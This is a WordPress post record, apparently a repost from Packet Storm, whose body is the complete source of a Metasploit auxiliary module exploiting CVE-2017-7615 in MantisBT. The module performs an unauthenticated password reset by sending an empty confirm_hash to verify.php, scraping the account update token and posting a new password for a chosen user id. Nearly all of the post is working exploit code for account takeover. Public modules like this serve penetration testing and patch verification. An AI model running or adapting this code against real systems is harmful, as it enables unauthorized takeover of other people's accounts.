{"id":59310,"date":"2024-09-01T00:49:54","date_gmt":"2024-08-31T21:49:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180854\/mantisbt_password_reset.rb.txt"},"modified":"2024-09-01T00:49:54","modified_gmt":"2024-08-31T21:49:54","slug":"mantisbt-password-reset","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/mantisbt-password-reset\/","title":{"rendered":"MantisBT Password Reset"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;MantisBT password reset&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;John (hyp3rlinx) Page&#8217;, # initial discovery<br \/>&#8216;Julien (jvoisin) Voisin&#8217; # metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2017-7615&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;41890&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/mantisbt.org\/bugs\/view.php?id=22690&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/hyp3rlinx.altervista.org\/advisories\/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;win&#8217;, &#8216;linux&#8217;],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2017-04-16&#8217;<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;USERID&#8217;, [ true, &#8216;User id to reset&#8217;, 1]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [ false, &#8216;The new password to set (blank for random)&#8217;, &#8221;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;Relative URI of MantisBT installation&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/login_page.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<\/p>\n<p>if res &amp;&amp; res.body &amp;&amp; res.body.include?(&#8216;Powered by &lt;a href=&#8221;http:\/\/www.mantisbt.org&#8221; title=&#8221;bug tracking software&#8221;&gt;MantisBT&#8217;)<br \/>vprint_status(&#8216;MantisBT detected&#8217;)<br \/>return Exploit::CheckCode::Detected<br \/>else<br \/>vprint_status(&#8216;Not a MantisBT Instance!&#8217;)<br \/>return Exploit::CheckCode::Safe<br \/>end<br \/>rescue Rex::ConnectionRefused<br \/>print_error(&#8216;Connection refused by server.&#8217;)<br \/>return Exploit::CheckCode::Safe<br \/>end<\/p>\n<p>def run<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/verify.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;id&#8217; =&gt; datastore[&#8216;USERID&#8217;],<br \/>&#8216;confirm_hash&#8217; =&gt; &#8221;<br \/>}<br \/>})<\/p>\n<p>if !res || !res.body<br \/>fail_with(Failure::UnexpectedReply, &#8216;Error in server response. Ensure the server IP is correct.&#8217;)<br \/>end<\/p>\n<p>cookie = res.get_cookies<\/p>\n<p>if cookie == &#8221; || !(res.body.include? &#8216;Your account information has been verified.&#8217;)<br \/>fail_with(Failure::NoAccess, &#8216;Authentication failed&#8217;)<br \/>end<\/p>\n<p>if datastore[&#8216;PASSWORD&#8217;].blank?<br \/>password = Rex::Text.rand_text_alpha(8)<br \/>else<br \/>password = datastore[&#8216;PASSWORD&#8217;]end<\/p>\n<p>if res.body =~ \/&lt;input type=&#8221;hidden&#8221; name=&#8221;account_update_token&#8221; value=&#8221;([a-zA-Z0-9_-]+)&#8221;\/<br \/>token = ::Regexp.last_match(1)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8216;Could not retrieve account_update_token&#8217;)<br \/>end<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/account_update.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;verify_user_id&#8217; =&gt; datastore[&#8216;USERID&#8217;],<br \/>&#8216;account_update_token&#8217; =&gt; ::Regexp.last_match(1),<br \/>&#8216;realname&#8217; =&gt; Rex::Text.rand_text_alpha(rand(8..12)),<br \/>&#8216;password&#8217; =&gt; password,<br \/>&#8216;password_confirm&#8217; =&gt; password<br \/>},<br \/>&#8216;cookie&#8217; =&gt; cookie<br \/>})<\/p>\n<p>if res &amp;&amp; res.body &amp;&amp; res.body.include?(&#8216;Password successfully updated&#8217;)<br \/>print_good(&#8220;Password successfully changed to &#8216;#{password}&#8217;.&#8221;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8216;Something went wrong, the password was not changed.&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;MantisBT password reset&#8217;,&#8216;Description&#8217; =&gt; %q{MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.},&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;Author&#8217; =&gt; [&#8216;John (hyp3rlinx) Page&#8217;, # initial discovery&#8216;Julien (jvoisin) Voisin&#8217; # metasploit module],&#8216;References&#8217; =&gt; [[&#8216;CVE&#8217;, &#8216;2017-7615&#8217;],[&#8216;EDB&#8217;, &#8216;41890&#8217;],[&#8216;URL&#8217;, &#8216;https:\/\/mantisbt.org\/bugs\/view.php?id=22690&#8217;],[&#8216;URL&#8217;, &#8216;http:\/\/hyp3rlinx.altervista.org\/advisories\/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt&#8217;]],&#8216;Platform&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59310","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59310","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59310"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59310\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59310"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59310"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59310"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}